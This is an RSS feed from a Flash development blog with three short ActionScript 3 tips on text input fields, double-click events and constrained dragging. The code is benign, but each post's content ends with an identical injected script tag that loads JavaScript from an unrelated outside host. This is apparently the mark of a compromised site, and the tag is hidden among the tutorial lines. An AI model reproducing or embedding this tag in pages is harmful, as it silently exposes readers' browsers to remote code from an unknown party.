<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; eventListener</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/eventlistener/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>3 Text Handling Methods &#8211; Input Text, Selecting Text, Returning text</title>
		<link>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:21:10 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[eventListener]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=205</guid>
		<description><![CDATA[3 useful text tips - creating input text field, selecting all text in a field when user clicks it, returning a string value.]]></description>
			<content:encoded><![CDATA[<p><strong>Create input text field:</strong></p>
<p>currField.<strong>type</strong> = TextFieldType<strong>.INPUT</strong>;</p>
<p>currField.<strong>selectable = true</strong>; //must be true to be inputtable</p>
<p>&#8212;&#8212;&#8212;</p>
<p><strong>Select text when the field is clicked on:</strong></p>
<p>currField.addEventListener(MouseEvent.CLICK, highlightText);</p>
<p>private function highlightText(event:MouseEvent):void{</p>
<p>event.target.setSelection(0, event.target.length); //start point, end point</p>
<p>}</p>
<p>&#8212;&#8212;&#8211;</p>
<p><strong>Return string value from function call:</strong></p>
<p>currField.text = scoreLabel();</p>
<p>private function scoreLabel():String{</p>
<p>var scoreString:String = &#8220;Your score: &#8221; + scoreGot + &#8220;/&#8221; + questionTotal;</p>
<p>return scoreString;</p>
<p>}//scoreLabel<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Implementing Double_Click Event with AS3</title>
		<link>http://blog.thornyrabbit.com/2009/04/implementing-double_click-event-with-as3/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/implementing-double_click-event-with-as3/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:10:21 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[eventListener]]></category>
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=199</guid>
		<description><![CDATA[The missing detail from Adobe's 'help".]]></description>
			<content:encoded><![CDATA[<p>oneFront.<strong>doubleClickEnabled = true</strong>; //must be enabled for it to work</p>
<p>oneFront.addEventListener(MouseEvent.DOUBLE_CLICK, rotateCard);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/implementing-double_click-event-with-as3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dragging and Constraining</title>
		<link>http://blog.thornyrabbit.com/2009/03/dragging-and-constraining/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/dragging-and-constraining/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 15:59:40 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[eventListener]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[rectangle]]></category>
		<category><![CDATA[startDrag]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=114</guid>
		<description><![CDATA[Drag sprite]]></description>
			<content:encoded><![CDATA[<p><strong>Drag and constrain code:</strong></p>
<p>import flash.geom.*; //or more specifically require &#8216;Rectangle&#8217;</p>
<p>seekBarController_mc.seekBarArrow_mc.startDrag(false, new Rectangle( dragLeft, dragArrowY , dragRight, 0));</p>
<p>//left top right bottom</p>
<p><em>Beware &#8211; startDrag can break very easily in Flash, someone stated will if a text field is in the same container &#8211; and that happened to me as well!</em></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>To replace releaseOutside &#8211; use stage of object dragged for stop even</strong>t (Thanks to <a href="http://www.webdevils.com/" target="_blank">http://www.webdevils.com/</a>):</p>
<p>drag_mc.stage.removeEventListener( MouseEvent.MOUSE_UP, release_drag);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/dragging-and-constraining/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
